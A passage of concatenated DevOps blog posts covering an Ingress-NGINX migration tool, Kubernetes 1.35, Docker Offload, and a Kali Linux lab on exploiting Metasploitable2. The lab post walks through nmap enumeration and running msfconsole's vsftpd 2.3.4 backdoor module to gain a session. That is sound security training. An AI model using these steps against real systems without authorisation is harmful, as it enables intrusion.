curl -L https://github.com/saiyam1814/ing-switch/releases/latest/download/ing-switch-linux-amd64 -o ing-switch
chmod +x ing-switch && sudo mv ing-switch /usr/local/bin/
```

Or build from source:

```bash
git clone https://github.com/saiyam1814/ing-switch.git
cd ing-switch
make build   # builds React UI then embeds it in the Go binary
./ing-switch --help
```

* * *

## The Dashboard

The easiest way to understand what `ing-switch` does is to open the UI:

```bash
ing-switch ui   # opens at localhost:8080
```

### Page 1: Detect

The first page scans your cluster and discovers every Ingress resource across all namespaces, identifies the controller type and version, and flags each ingress by complexity.

![](/img/blog/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days/9dfd53cb-7cd4-464d-a8e8-d76b06489710.png align="center")

*The tool shows a countdown banner — Ingress NGINX retires March 2026 — and lets you scope the scan to a specific namespace or scan everything.*

After clicking **Scan Cluster**, the tool connects to your cluster via kubeconfig and enumerates every `networking.k8s.io/v1 Ingress` object. In my test cluster (a vcluster running 11 production-realistic ingresses), the sidebar updated immediately to show "11 ingresses · retiring · ingress-nginx":

![](/img/blog/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days/adf1f056-5f49-4bbb-a693-4aba846ef71e.png align="center")

*The sidebar shows your cluster name, ingress count, and controller status. "Retiring" badge means the detected controller is Ingress NGINX.*

### Page 2: Analyze

The Analyze page is where you decide your migration target. You pick between **Traefik v3** (labeled "Lowest friction") or **Gateway API via Envoy Gateway** (labeled "Future-proof standard"), then click **Analyze Compatibility**.

![](/img/blog/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days/6cccda7e-dbb3-4d9f-8863-36076eb7b83b.png align="center")

The engine runs through every annotation on every ingress and produces a per-ingress compatibility matrix. Each annotation gets a status badge:

*   **Green (supported)** — the generated YAML covers this fully; just apply it
    
*   **Yellow (partial)** — the feature works but with limitations; the note explains exactly what's different
    
*   **Red (unsupported)** — no direct equivalent exists; the tool explains the best available workaround
    

This is the output that replaces weeks of reading changelogs and GitHub issues.

### Page 3: Migrate

The Migrate page generates the complete output directory of Kubernetes manifests. Click **Generate Migration Files** and the tool writes every file needed for a zero-downtime cutover.

![](/img/blog/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days/b5656123-e68e-41d3-83e7-8a13885eb832.png align="center")

*The checklist walks you through every step in order, so you can't accidentally skip a dependency (like applying GatewayClass before HTTPRoutes).*

After generation, each step gains **View File**, **Dry-run**, and **Apply** buttons:

![](/img/blog/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days/e8f69606-1790-4d40-8a59-3bb3701a686f.png align="center")

*The tool generated 27 migration files for Traefik across 11 ingresses. Each checklist item links to the file it creates, and you can preview the YAML before applying.*

The **Gaps tab** gives you the executive summary — which ingresses are fully compatible, which have auto-generated workarounds, and which need manual review:

![](/img/blog/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days/2477c587-a5c8-463a-a2ca-2b0e91e29e99.png align="center")

*"Needs Review" ingresses are listed with the specific annotations that require manual attention, so you know exactly what work remains before cutover.*

### Page 4: Validate

After applying the generated manifests, the Validate page gives you a structured checklist of post-migration checks and lets you run live validation against the cluster.

![](/img/blog/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days/85281d50-0a67-4c7e-abcd-0c7b127af988.png align="center")

*The checklist covers TLS verification, auth testing, rate limit validation, canary routing verification, and a 24-hour monitoring window before removing NGINX.*

* * *

## The CLI: same power, no browser

Everything the UI does is also available as CLI commands, which makes it scriptable and CI-friendly:

```bash
# Scan your cluster
$ ing-switch scan
Cluster: production-cluster
Controller: ingress-nginx v1.9.4 (namespace: ingress-nginx)

NAMESPACE    NAME              HOSTS                     ANNOTATIONS  TLS
ecommerce    ecommerce-shop    shop.example.com          13           yes
security     payment-api       payments.example.com      6            yes
messaging    realtime-chat     chat.example.com          2            yes
...
11 ingresses found across 6 namespaces

# Analyze annotation compatibility for Gateway API
$ ing-switch analyze --target gateway-api
INGRESS                       SUPPORTED   PARTIAL   UNSUPPORTED
ecommerce/ecommerce-shop      6           5         2
security/payment-api          3           2         1
...

# Generate all migration manifests
$ ing-switch migrate --target traefik --output-dir ./migration
Generated 27 files across 11 ingresses

migration/
├── 00-migration-report.md      # Full annotation analysis
├── 01-install-traefik/         # Helm install script + values.yaml
├── 02-middlewares/             # Traefik Middleware CRDs
├── 03-ingresses/               # Updated Ingress resources
├── 04-verify.sh                # Test script per hostname
├── 05-dns-migration.md         # DNS cutover guide
└── 06-cleanup/                 # Remove NGINX after cutover
```

* * *

## How it handles the tricky cases

Three annotation scenarios trip up almost every migration, and `ing-switch` handles all of them:

### HTTP→HTTPS redirect

The naive approach — putting both a RequestRedirect filter and a backend rule in the same HTTPRoute — causes a redirect loop where HTTPS traffic gets redirected back to HTTPS. `ing-switch` generates **two separate HTTPRoutes** using Gateway API `sectionName` to attach each route to the correct listener:

```yaml
# <name>-redirect: attached to HTTP listener only (sectionName: http)
# Returns 301/302 for all incoming HTTP requests

# <name>: attached to HTTPS listener (sectionName: https-0)
# Routes HTTPS traffic to your backends
```

This is the correct pattern but requires knowing the Gateway API spec deeply enough to spot the constraint. The tool just does it right.

### Regex paths

NGINX annotations like `use-regex: "true"` and paths like `/app(/|$)(.*)` are common. Gateway API's `PathPrefix` type rejects regex characters. `ing-switch` auto-detects paths containing `(`, `)`, `|`, `[`, `]` and switches them to `PathMatch.RegularExpression` type — even when the `use-regex` annotation is absent.

### Timeout constraints

`proxy-read-timeout: 300` and `proxy-connect-timeout: 5` look straightforward to map. But Gateway API enforces `backendRequest ≤ request`, and mapping read→backendRequest (300s) and connect→request (5s) would violate that constraint. `ing-switch` maps only `proxy-read-timeout → backendRequest` and intentionally omits `proxy-connect-timeout`, with a note explaining why.

* * *

## Generated output: Gateway API example

For a single ingress with SSL redirect, session affinity, and rate limiting, the Gateway API migration generates:

```plaintext
migration/
├── 00-migration-report.md
├── 01-install-gateway-api-crds/
│   └── install.sh
├── 02-install-envoy-gateway/
│   ├── helm-install.sh
│   └── values.yaml
├── 03-gateway/
│   ├── gatewayclass.yaml      # GatewayClass (Envoy Gateway)
│   └── gateway.yaml           # Gateway: HTTP + HTTPS listeners
├── 04-httproutes/
│   ├── ecommerce-ecommerce-shop-redirect.yaml   # HTTP→HTTPS (sectionName: http)
│   └── ecommerce-ecommerce-shop.yaml            # HTTPS backend (sectionName: https-0)
├── 05-policies/
│   └── ecommerce-ecommerce-shop-btp.yaml        # BackendTrafficPolicy (rate limit)
├── 06-verify.sh
└── 07-cleanup/
    └── remove-nginx.sh
```

* * *

## Example ingresses

The repo includes 11 production-realistic NGINX Ingress configurations covering every major annotation category you're likely to have in a real cluster:

<table style="min-width: 50px;"><colgroup><col style="min-width: 25px;"><col style="min-width: 25px;"></colgroup><tbody><tr><th colspan="1" rowspan="1"><p>File</p></th><th colspan="1" rowspan="1"><p>Covers</p></th></tr><tr><td colspan="1" rowspan="1"><p><code>01-basic-routing.yaml</code></p></td><td colspan="1" rowspan="1"><p>Path routing, TLS termination</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>02-ssl-tls.yaml</code></p></td><td colspan="1" rowspan="1"><p>SSL redirect, HSTS, force-ssl</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>03-auth-external.yaml</code></p></td><td colspan="1" rowspan="1"><p>External auth (auth-url, auth-response-headers)</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>04-session-affinity.yaml</code></p></td><td colspan="1" rowspan="1"><p>Sticky cookies (all 8 session-cookie-* fields)</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>05-canary.yaml</code></p></td><td colspan="1" rowspan="1"><p>Canary by weight, header, cookie</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>06-cors.yaml</code></p></td><td colspan="1" rowspan="1"><p>Full CORS (all 6 cors-* annotations)</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>07-path-rewrite-regex.yaml</code></p></td><td colspan="1" rowspan="1"><p>Regex routing, rewrite-target capture groups</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>08-rate-limit-ip.yaml</code></p></td><td colspan="1" rowspan="1"><p>Rate limiting, IP allowlist/denylist</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>09-websocket.yaml</code></p></td><td colspan="1" rowspan="1"><p>WebSocket upgrade</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>10-grpc.yaml</code></p></td><td colspan="1" rowspan="1"><p>gRPC passthrough</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>11-full-featured.yaml</code></p></td><td colspan="1" rowspan="1"><p>All of the above combined</p></td></tr></tbody></table>

You can apply them to a test cluster and run the full migration against them:

```bash
kubectl apply -f examples/
ing-switch migrate --target gateway-api --output-dir ./migration-examples
kubectl apply --dry-run=client -f ./migration-examples/03-gateway/
kubectl apply --dry-run=client -f ./migration-examples/04-httproutes/
```

* * *

## Zero-downtime migration strategy

The tool is designed around a zero-downtime approach:

1.  **Install the new controller alongside NGINX** — both run simultaneously; DNS still points to NGINX
    
2.  **Apply generated manifests** — Middlewares, HTTPRoutes, Gateway
    
3.  **Verify the new controller** — run `06-verify.sh` to test each hostname against the new IP
    
4.  **Shift DNS** — update your DNS records to point to the new controller's LoadBalancer IP
    
5.  **Monitor for 24 hours** — watch for 5xx errors, auth failures, session issues
    
6.  **Remove NGINX** — run `06-cleanup/remove-nginx.sh`
    

The Migrate page's step-by-step checklist mirrors this order and locks steps until their dependencies are checked off.

* * *

## Try it

```bash
# Install
curl -L https://github.com/saiyam1814/ing-switch/releases/latest/download/ing-switch-darwin-arm64 -o ing-switch
chmod +x ing-switch && sudo mv ing-switch /usr/local/bin/

# Point at your cluster
export KUBECONFIG=~/.kube/config

# Open the visual UI
ing-switch ui
```

The source, examples, and annotation mapping database are at [**github.com/saiyam1814/ing-switch**](https://github.com/saiyam1814/ing-switch).

The annotation mapping database lives in `pkg/analyzer/compatibility.go` (status + target resource per annotation) and `pkg/server/guides.go` (human-readable what/fix/example per annotation). PRs for additional annotation mappings are welcome.

* * *

*March 2026 is closer than it looks. The tools are ready.*

---

# Exploiting Metasploitable2 Using msfconsole (Kali Linux Lab)

- Canonical: https://blog.kubesimplify.com/exploiting-metasploitable2-using-msfconsole-kali-linux-lab
- Published: 2026-01-17

## **Exploiting Metasploitable2 Using** `msfconsole` (Kali Linux Lab)

## **Introduction**

`msfconsole` is the heart of the **Metasploit Framework** and one of the most powerful tools used by penetration testers to **identify, exploit, and validate security vulnerabilities**. In real-world security assessments as well as Capture The Flag (CTF) challenges, `msfconsole` is often used to automate and streamline exploitation workflows.

In this blog, we will explore how to use `msfconsole` from **Kali Linux** to exploit an intentionally vulnerable machine, **Metasploitable2**, in a safe and controlled lab environment.

Both machines are hosted on **Oracle VM VirtualBox** and configured on the same internal network. This setup allows us to simulate real attack scenarios while maintaining proper ethical boundaries.

The goal of this blog is to:

* Understand what `msfconsole` is and why it is used
    
* Learn how attackers interact with vulnerable services using Metasploit
    
* Gain hands-on experience with a realistic exploitation lab
    

> ***Note:*** *All demonstrations in this blog are performed on machines owned by us or intentionally designed to be vulnerable. Never use these techniques on unauthorized systems.*

In the next section, we will briefly look at the lab architecture before launching `msfconsole` and beginning the exploitation process.

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*F-1r_D3nLsU0NgJxadHHuA.png align="left")

## **Setting Up** `msfconsole` and Metasploitable2 (Step-by-Step Lab Setup)

Before launching any exploitation using `msfconsole`, we must ensure that **both the attacker and the vulnerable target are properly set up and reachable**. This section covers the **complete setup process** for `msfconsole` on Kali Linux and the Metasploitable2 vulnerable server.

## **1\. Setting Up the Attacker Machine (Kali Linux)**

## **Why Kali Linux?**

**Kali Linux** comes pre-installed with hundreds of penetration testing tools, including the **Metasploit Framework**.

## **Verify Metasploit Installation**

On Kali, Metasploit is installed by default. To verify:

```plaintext
msfconsole --version
```

![](https://miro.medium.com/v2/resize:fit:1250/1*yYXvf1oFpRK4eLEfj9mdWA.png align="left")

If Metasploit is installed correctly, you will see version details.

— — — — — — — — — — — — — — — — —

## **Start** `msfconsole`

```plaintext
msfconsole
```

On first launch, Metasploit may:

* Initialize its database
    
* Create required configuration files
    

You should now see the familiar `msf6 >` prompt.

This confirms that `msfconsole` **is ready to use**.

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*2R285OLEWTQFtpGtItnnVQ.png align="left")

— — — — — — — — — — — — — — — — —

## **2\. Setting Up the Target Machine (Metasploitable2)**

## **What is Metasploitable2?**

**Metasploitable2** is a deliberately vulnerable Linux machine created for practicing penetration testing techniques.

## **Start Metasploitable2 VM**

* Launch Metasploitable2 in **Oracle VM VirtualBox**
    
* Wait until it boots to the login screen
    

## **Default Credentials**

```plaintext
Username: msfadmin
Password: msfadmin
```

Login successfully to access the system.

## **Check IP Address of Metasploitable2**

```plaintext
ifconfig
```

Example output:

```plaintext
inet addr:192.168.56.101
```

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*orC8wVFlmX8C9S_saVqHyQ.png align="left")

**Note this IP address**, as it will be used as the target (`RHOSTS`) inside `msfconsole`.

— — — — — — — — — — — — — — — — —

## **3\. Ensure Both Machines Are on the Same Network**

Both VMs must be configured with:

* **Network Adapter:** Host-only Adapter
    
* **Name:** VirtualBox Host -Only Ethernet Adapter
    

This ensures:

* Kali ↔ Metasploitable2 communication
    
* No internet exposure (safe lab)
    

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*jw_6awLbGPXPpHGiSwUheg.png align="left")

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*4YuIMsvhpt9eC4OBsvdfbg.png align="left")

— — — — — — — — — — — — — — — — —

## **4\. Test Connectivity (Very Important)**

## **From Kali Linux:**

```plaintext
ping 192.168.56.101
```

If you receive replies, your lab network is working correctly.

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*GfrW8rPEuFozFSKXF6kvbQ.png align="left")

— — — — — — — — — — — — — — — — —

## **5\. Confirm Target Visibility Using Nmap**

Before using Metasploit, attackers always enumerate first.

```plaintext
nmap -sV 192.168.56.101
```

You should see multiple **intentionally vulnerable services**, such as

* FTP (vsftpd 2.3.4)
    
* SSH
    
* Samba
    
* Tomcat
    

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*URDqkjKlFLdGB6D8vvClcg.png align="left")

This confirms that **Metasploitable2 is ready for exploitation**.

## **Setup Checklist**

✔ Kali Linux boots successfully  
✔ `msfconsole` launches without errors  
✔ Metasploitable2 is accessible  
✔ Both machines are on the same subnet  
✔ Ping & Nmap scans work

Once all checks pass, your lab is **fully prepared**.

## **Basic** `msfconsole` Commands (Getting Comfortable with the Interface)

Before jumping into exploitation, it’s important to understand the **basic operating system–style commands** and navigation used inside `msfconsole`. This section helps beginners feel confident while working in the Metasploit environment.

We are using **Kali Linux** with the **Metasploit Framework**.

## **Starting** `msfconsole`

Open a terminal in Kali Linux and run:

```plaintext
msfconsole
```

Once loaded, you will see:

```plaintext
msf6 >
```

This prompt indicates that `msfconsole` is ready to accept commands.

## **Getting Help in** `msfconsole`

## **Show All Commands**

```plaintext
help
```

or simply:

```plaintext
?
```

This lists all available commands, similar to using `help` in an operating system shell.

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*3Srbz0J8FUP1JeGKlzyaDA.png align="left")

## **Navigation Commands (OS-Like Basics)**

CommandDescription`pwd`Shows the current module path`cd`Change module directory`ls`List available modules`clear`Clear the screen

Example:

```plaintext
pwd
ls
```

These commands work **inside Metasploit**, not the Linux filesystem.

## **Searching for Modules**

One of the most used commands:

```plaintext
search <keyword>
```

Example:

```plaintext
search ftp
search samba
search vsftpd
```

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*_59RCXTD8OlOBxmtHTKWTw.png align="left")

This helps you quickly find:

* Exploits
    
* Auxiliary scanners
    
* Payloads
    

## **Understanding Module Types**

Metasploit is organized into modules:

Metasploit is organized into different **module types**, each designed for a specific purpose in the penetration testing lifecycle.

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*mup8HD7Ny-wJB_UHIm-wsA.png align="left")

You can list them using:

```plaintext
ls exploit
ls auxiliary
```

## **Using a Module**

To select a module:

```plaintext
use exploit/unix/ftp/vsftpd_234_backdoor
```

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*BOa3f7W203Dorp7kN5ly0g.png align="left")

Once selected, the prompt changes to:

```plaintext
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

This tells you **which module is currently active**.

## **Viewing & Setting Options**

## **Show Required Options**

```plaintext
show options
```

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*YQCTkTtyTuH2KCRHknxBog.png align="left")

## **Set Target IP**

```plaintext
set RHOSTS 192.168.56.101
```

## **Set Port (if needed)**

```plaintext
set RPORT 21
```

To verify:

```plaintext
show options
```

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*XWEtzl5SBnYN4wkrQJPeXA.png align="left")

## **Running a Module**

```plaintext
run
```

or

```plaintext
exploit
```

Both commands do the same thing.

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*H9vWWSHvNAf6eQbcVLjrLQ.png align="left")

## **Session Management Basics**

After successful exploitation:

```plaintext
sessions
```

Interact with a session:

```plaintext
sessions -i 1
```

Exit session:

Press enter or click to view image in full size

![](https://miro.medium.com/v2/resize:fit:1400/1*mYxSH7v_A7HnR1W6QTTkbw.png align="left")

```plaintext
exit
```

## **Exiting Modules &** `msfconsole`

In Metasploit, use `back` to leave the current module and return to the main console. Use `quit` or `exit` to close `msfconsole` completely.

## **Key Takeaways**

✔ `msfconsole` feels like a mini operating system  
✔ `search`, `use`, and `show options` are core commands  
✔ Always understand a module before running it  
✔ Enumeration comes before exploitation

## **Conclusion**

In this blog, we explored how `msfconsole`, the core interface of the **Metasploit Framework**, can be used to exploit a vulnerable **FTP service** on **Metasploitable2** from an attacker machine running **Kali Linux**.

Starting from proper lab setup and network configuration, we moved through the essential stages of a penetration test: **service enumeration, exploit selection, configuration, and execution**. By exploiting the outdated `vsftpd 2.3.4` service, we demonstrated how a single vulnerable service can lead to **full system compromise** when basic security practices are ignored.

This exercise highlights several important lessons:

* Enumeration is more important than exploitation
    
* Outdated services pose serious security risks
    
* Automation tools like `msfconsole` must be used with understanding, not blindly
    
* Ethical hacking is about **learning and improving security**, not breaking systems
    

Practicing in a controlled environment like Metasploitable2 helps build a strong foundation for **CTFs, real-world penetration testing, and defensive security awareness**.

In future labs, this knowledge can be extended to:

* Exploiting other services such as Samba and Tomcat
    
* Using Meterpreter for advanced post-exploitation
    
* Understanding how blue teams detect and prevent such attacks
    

> ***Always remember:*** *with great power comes great responsibility. Use these skills only where you have explicit permission.*

Follow Kubesimplify on [**Hashnode**](https://blog.kubesimplify.com/)[, **Twitte**](https://blog.kubesimplify.com/)[**r/X**](https://twitter.com/kubesimplify) [and **Link**](https://twitter.com/kubesimplify)[**edIn**](https://www.linkedin.com/company/kubesimplify)[. Join o](https://www.linkedin.com/company/kubesimplify)ur [**Discord server**](https://kubesimplify.com/discord) [to learn with](https://kubesimplify.com/discord) us!

---

# Kubernetes v1.35 – What’s New, What’s Changing, and What You Should Know

- Canonical: https://blog.kubesimplify.com/kubernetes-v135-whats-new-whats-changing-and-what-you-should-know
- Published: 2025-12-19
- Summary: Learn about the latest Kubenretes release Kubernetes 1.35

**Release date: December 17, 2025**

Kubernetes 1.35 is released and again the velocity for this project never makes you feel that there is no innovation left. The releases is focussed on more stability, AI workloads, introducing concept of workload and so much more.

Huge thanks to all the contributors and the release team for making this happen. Let’s look at some of the cool features for this release.

![No alternative text description for this image](https://media.licdn.com/dms/image/v2/D5622AQELO5TpuYIYHg/feedshare-shrink_2048_1536/B56Zss9.NHIEAw-/0/1765986005355?e=1767830400&v=beta&t=qdPIggbl_P9iIE8_4qvq1ZpHUP8B9zNDhTgFnLARv8Y align="left")

## Native Gang Scheduling is finally here (and it’s a big deal)

For years, Kubernetes scheduled pods one by one. That model works well for stateless services, but it breaks down badly for distributed workloads, think PyTorch training jobs, Spark, Ray, or MPI-style applications.

Kubernetes 1.35 introduces **native Gang Scheduling** through a new **Workload API**. This enables *all-or-nothing* scheduling: either all pods in a group get scheduled together, or none do. No more half-started jobs burning GPUs while waiting for peers. This is foundational work for AI and HPC workloads on Kubernetes.

First, define a `Workload` that represents the gang policy:

```yaml
apiVersion: scheduling.k8s.io/v1alpha1
kind: Workload
metadata:
  name: demo-workload
  namespace: gang-demo
spec:
  podGroups:
  - name: workers
    policy:
      gang:
        minCount: 3
```

Then reference it from your Pod:

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: worker-0
  namespace: gang-demo
  labels:
    app: gang-demo
spec:
  workloadRef:
    name: demo-workload
    podGroup: workers
  containers:
    - name: demo
      image: nginx:1.27
      resources:
        requests:
          cpu: "200m"
          memory: "128Mi"
---
apiVersion: v1
kind: Pod
metadata:
  name: worker-1
  namespace: gang-demo
  labels:
    app: gang-demo
spec:
  workloadRef:
    name: demo-workload
    podGroup: workers
  containers:
    - name: demo
      image: nginx:1.27
      resources:
        requests:
          cpu: "200m"
          memory: "128Mi"
---
apiVersion: v1
kind: Pod
metadata:
  name: worker-2
  namespace: gang-demo
  labels:
    app: gang-demo
spec:
  workloadRef:
    name: demo-workload
    podGroup: workers
  containers:
    - name: demo
      image: nginx:1.27
      resources:
        requests:
          cpu: "200m"
          memory: "128Mi"
```

The scheduler now understands that these pods belong together and either they will be scheduled together or won’t get scheduled.

**Saiyam Pathak already published a full hands-on video on the Kubesimplify YouTube channel**, where he builds Kubernetes 1.35 from source, enables the Workload API, and demonstrates native Gang Scheduling end to end. If you’re working with AI or distributed computing, that walkthrough is worth your time.

%[https://youtu.be/bD_eQU0GwOw?si=zEc3c5xBwBIoF5Pl] 

## **In place pod update moves to stable**

In Kubernetes v1.35, In-place update of Pod resources graduated to GA (Stable), which means you can now change a running Pod’s CPU and memory requests/limits without recreating the Pod (and often without restarting containers). This is a big deal for stateful and batch workloads where a restart is costly: you can do smoother, less disruptive vertical scaling, and Kubernetes will reflect desired resources in `spec` while tracking what’s actually applied in `status` as the kubelet works through the resize. This graduation comes from KEP #1287 (SIG Node).

## User namespaces in Pods

Linux user namespaces in Kubernetes allows pods to run with different user and group IDs than the host while preserving strong isolation. With this feature, a process can run as root inside a container but map to an unprivileged user on the node, significantly reducing the blast radius of container breakouts and mitigating several high-severity CVEs. It adds a new `pod.spec.hostUsers` field to opt into user namespaces, integrates with CRI and idmapped mounts for safe volume handling, and aligns with Pod Security Standards to safely relax certain restrictions when enabled. Overall, this strengthens node-to-pod and pod-to-pod isolation without changing default behaviour, making Kubernetes workloads more secure by design.

## **Kubernetes is finally letting go of old baggage**

Kubernetes 1.35 draws a hard line under several legacy technologies.

If your nodes still rely on **cgroup v1**, the kubelet will not start by default anymore. Most modern Linux distributions have already moved to cgroup v2, which offers better resource isolation and consistency. Kubernetes waited long enough and now is the time to take action on this.

The same applies to **containerd 1.x**. Kubernetes 1.35 is the *last* release that supports it. If you plan to upgrade beyond this version, moving to containerd 2.x is no longer optional.

**IPVS mode in kube-proxy** is also deprecated. While once popular for performance reasons, it became increasingly complex to maintain. Kubernetes is consolidating around nftables, reducing operational and maintenance burden.

**Ingress NGINX retirement**: This came as a massive blow where due to maintainer debt the ingress nginx which is uses by thousands of organisations is now getting retired. Although Chainguard has come up to support and maintain the version as per [this announcement](https://www.chainguard.dev/unchained/introducing-chainguard-emeritoss). IMO you should start your migrations to gatewayAPI and we have a full end to end video about this on Kubesimplify already where you get to see entire demo on how to migrate from ingress to gatewayAPI.

%[https://youtu.be/Z-vKixowC9c?si=Rb3ud8-K5vSFaaSt] 

## **Securing Cached Images in Kubernetes 1.35**

KEP-2535 addresses a security gap in Kubernetes image pulling. Historically, when `imagePullPolicy` was set to `IfNotPresent` or `Never`, a pod could start using a private image already cached on a node even if it did not have the credentials to pull that image itself. In multi-tenant clusters, this meant one workload could unintentionally benefit from another workload’s credentials. Kubernetes 1.35 introduces kubelet-level credential verification for cached images, ensuring that a pod is authorized to use an image before it can run, regardless of whether the image is already present. With this beta feature enabled by default and configurable via `imagePullCredentialsVerificationPolicy`, clusters can now enforce stricter image access without forcing `Always` pulls, significantly improving tenant isolation and supply-chain security.

### Overall I am excited about

* In-place Pod resource updates (now GA): being able to adjust CPU/memory without restarting pods is huge for stateful and long-running workloads.
    
* Native gang scheduling and the new Workload API direction is a big deal for ML/HPC style workloads and any “all-or-nothing” batch pipelines.
    

* *Pod certificates (beta): a strong step toward native workload identity and simpler mTLS setups without always relying on extra controllers.*
    
* Node declared features (alpha): a practical way to reduce upgrade/version-skew surprises by letting nodes declare supported capabilities before scheduling decisions happen.
    

Overall this release consists of 60 enhancements, including 17 stable, 19 beta, and 22 alpha features. What is the feature that you are most excited about for this Kubernetes release and is there anything you would like to see a deep dive on Kubesimplify.

---

# Ditch the Overheating Laptop: Supercharge Your Docker Workflow with Docker Offload

- Canonical: https://blog.kubesimplify.com/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload
- Published: 2025-08-26
- Summary: Running multiple Docker containers can slow down your laptop and drain your battery. In this blog, we explore Docker Offload — a game-changing feature

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/1607355b-8235-4238-a3c2-51024e060f63.png align="center")

We've all been there: you run a resource-intensive Docker build or a compute-heavy container, and your laptop's fans start screaming, the CPU maxes out, and your entire machine slows to a crawl. For developers working with large applications, complex multi-stage builds, or AI/ML workloads, this is a frustratingly common problem. But what if you could have the best of both worlds here? You have the awesome Docker Desktop experience along with the power of a high-performance cloud machine?

Enter **Docker Offload**, a game-changing service that lets you offload your Docker builds and container runs to a secure, dedicated cloud environment. It's not about learning a new cloud platform; it's about seamlessly extending your existing Docker workflow to where the resources are.

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/d21f69d1-a215-4470-9f44-3e015d991eec.png align="center")

---

### What Exactly Is Docker Offload?

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/32a8ce98-059d-43f0-b696-9134e0264a05.png align="center")

Docker Offload is a fully managed service that allows you to execute Docker commands on **powerful, remote cloud infrastructure** while maintaining the same user experience on your local machine. Think of it as a bridge that connects your Docker Desktop to a beefy, cloud-based Docker daemon. You still type `docker build` and `docker run` In your terminal, but the heavy lifting is done remotely, freeing up your local resources.

This service is particularly useful for tasks that are traditionally a pain on a local machine, such as:

* **Building large, complex images:** Multi-stage builds with many dependencies or a large build context can take ages on a standard laptop.
    
* **Running compute-intensive workloads:** Tasks like machine learning model training, AI inferencing, data processing, and video transcoding often require more CPU, RAM, and most importantly, GPU power than a typical developer machine has.
    
* **Standardizing development environments:** It helps teams with a variety of hardware specs work on the same projects without performance bottlenecks, ensuring a consistent and fast experience for everyone.
    

---

### Key Benefits of Offloading to the Cloud

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/ab1c410f-3c46-4c85-8477-21964b8e40f9.png align="center")

1. **Massive Performance Boost:** By leveraging powerful cloud instances with access to **NVIDIA L4 GPUs**, you can slash build times and run containers that would otherwise overwhelm your local machine.
    
2. **No Changes to Your Workflow:** This is the magic of Docker Offload. It's not a new tool or a different syntax. You use the same `docker` and `docker compose` commands you already know and love.
    
3. **Resource Optimization and Cost Efficiency:** The service uses a pay-as-you-go model. Cloud environments are ephemeral, meaning they're provisioned for your session and then automatically shut down and cleaned up after a period of inactivity. This prevents you from paying for idle resources.
    
4. **Seamless Local-Cloud Integration:** Even though your container is running in the cloud, exposed ports are still accessible via [`localhost`](http://localhost). This allows you to interact with your running application as if it were local, making development, debugging, and testing a breeze.
    
5. **Shared Build Cache:** Docker Offload uses a shared cache that can be reused by your team, further accelerating build times and ensuring consistency across different machines.
    

---

### Getting Started: A Quick Guide to Implementation

Implementing Docker Offload is surprisingly simple. You'll need Docker Desktop version 4.43 or later.

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/6df2345e-fd7c-4c2d-8246-7176a5627e98.png align="center")

#### 1\. Start Docker Offload

In your terminal, just run:

```bash
docker offload start
```

This command will prompt you to log in to your Docker account and will ask if you want to enable GPU support. If you're working on AI/ML projects, enabling the GPU is highly recommended. Once it's running, you'll see a cloud icon in your Docker Desktop dashboard, and your terminal's context will be set to the new cloud environment.

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/da390ca3-e6ea-4437-8caa-ba45ebbeebe0.png align="center")

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/07bc74f1-6a2d-49c8-89e1-cf7589d4b383.png align="center")

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/2504b481-95e9-4eea-b9d2-3e3130b5e700.png align="center")

#### 2\. GPU test with Docker offload

With Docker Offload active, you can now use your regular commands. Let's try running a Minimal GPU smoke test with Compose + Offload.

Create a `compose.yaml` file

```dockerfile
services:
  gpu-smoke:
    image: nvidia/cuda:12.4.1-base-ubuntu22.04
    command: nvidia-smi
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: all
              capabilities: [gpu]
```

This will run `nvidia-smi` In the Offload cloud GPU instance and print the GPU info. You should see an NVIDIA-SMI table in the logs that confirms the GPU is available in your Offload session.

